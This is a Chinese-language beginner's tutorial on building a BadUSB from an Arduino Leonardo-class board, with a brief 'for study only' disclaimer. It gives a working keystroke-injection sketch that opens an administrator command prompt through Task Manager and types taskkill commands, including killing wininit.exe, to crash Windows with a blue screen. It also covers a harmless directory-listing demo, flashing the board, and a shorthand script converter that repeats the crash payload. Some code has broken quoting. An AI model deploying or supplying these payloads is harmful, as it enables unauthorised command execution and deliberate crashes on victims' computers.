BadUSB制作教程_BadUSB简单示例(初学)_程序编写工具
说明
本文章仅供学习交流,请勿用于非法用途
我用的是CJMCU-Beetle arduino Leonardo USB ATMEGA32U4 Mini Size Development Board
程序编写工具 (使用教程在下面)
官网购买地址
软件-Arduino
Kali下自带 Windows下 官网下载地址
开始制作
打开Arduino 在工具中择开发板 ‘Arduino Leonardo’ 然后选择端口 然后就可以编写程序了
接下来是一些示例
1.蓝屏
#include <Keyboard.h> void setup() { Keyboard.begin(); //开始 delay(2000); //等待两秒 Keyboard.press(KEY_LEFT_CTRL); //按下左边的Ctrl键 Keyboard.press(KEY_LEFT_SHIFT); //按下左边的Shift键 Keyboard.press(KEY_ESC); //按下ESC键 Keyboard.releaseAll(); //松开所有按下的键(Ctrl,Shift,ESC) //以上代码执行结果: 打开任务管理器 delay(500); //等待0.5秒 作用: 等待任务管理器启动 Keyboard.press(KEY_LEFT_ALT); //按下左边的Alt键 Keyboard.press(f); //按下f键 Keyboard.release(f); //松开f键 Keyboard.press(n); //按下n键 Keyboard.releaseAll(); //松开所有(n,Alt) delay(500); //等待0.5秒 作用: 等待运行的启动 Keyboard.press(KEY_TAB); //按下Tab键 Keyboard.release(KEY_TAB); //松开Tab键 Keyboard.press( ); //按下空格键 Keyboard.release( ); //松开空格键 //以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务 //(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了) Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); //利用CapsLock绕过输入法 Keyboard.println("cmd"); //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD delay(500); //等待0.5秒 作用: 等待cmd的启动 Keyboard.println("taskkill /f /fi "pid ne 1""); //在cmd中输入蓝屏指令 Keyboard.println("taskkill /f /im wininit.exe"); //指令2(其实一个就够了) Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); //结束 } void loop() { // put your main code here, to run repeatedly: }
2.dir/s和tree C:(一个很酷炫的东西) 加上LED闪烁
#include <Keyboard.h> void setup() { pinMode(13, OUTPUT); //这行加上void loop()下面都是LED闪烁 Keyboard.begin(); delay(2000); Keyboard.press(KEY_LEFT_GUI); Keyboard.press(r); Keyboard.releaseAll(); //以上三行: 打开运行 delay(500); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.println("cmd"); delay(500); Keyboard.press(KEY_F11); Keyboard.release(KEY_F11); //以上两行: 全屏(Win10有效) Keyboard.println("color 4"); Keyboard.println("dir/s"); Keyboard.println("tree d:"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); } void loop() { digitalWrite(13, HIGH); delay(300); //点亮时间 digitalWrite(13, LOW); delay(300); //熄灭时间 }
写入到BadUSB
点击有向左箭头的按钮即可写入 看到上传成功字样就大功告成了! 注意: 上传后BadUSB会立即执行一遍代码
编写工具使用教程
工具下载地址在文章开头
拿前面的蓝屏的示例来说: 只需在一个名为file.txt的文本文档中输入:
2000 =lc =ls =esc -- 500 =la =f -f =n -- 500 =tab = - =clk -clk cmd 500 taskkill /f /fi "pid ne 1" taskkill /f /im wininit.exe =clk -clk
总结:
= 【+要按下的键】 - 【+要松开的键】 -- 松开全部 【+等待时间】 直接输的话是输入 按键列表(一般都是开头字母除非只有一个单词如enter): lc:LEFT_CTRL ls:LEFT_SHIFT la:LEFT_ALT rcl:RIGHT_CTRL rs:RIGHT_SHIFT ra:RIGHT_ALT clk:CAPS_LOCK tab:TAB bs:BACKSPACE lwin:LEFT_GUI rwin:RIGHT_GUI esc:ESC enter:RETURN //return就是enter del:DELETE
编写完成后,将工具与file.txt放在同一目录下,运行工具,生成的file.ino就是可运行的badusb程序,如果没有的话刷新一下就好了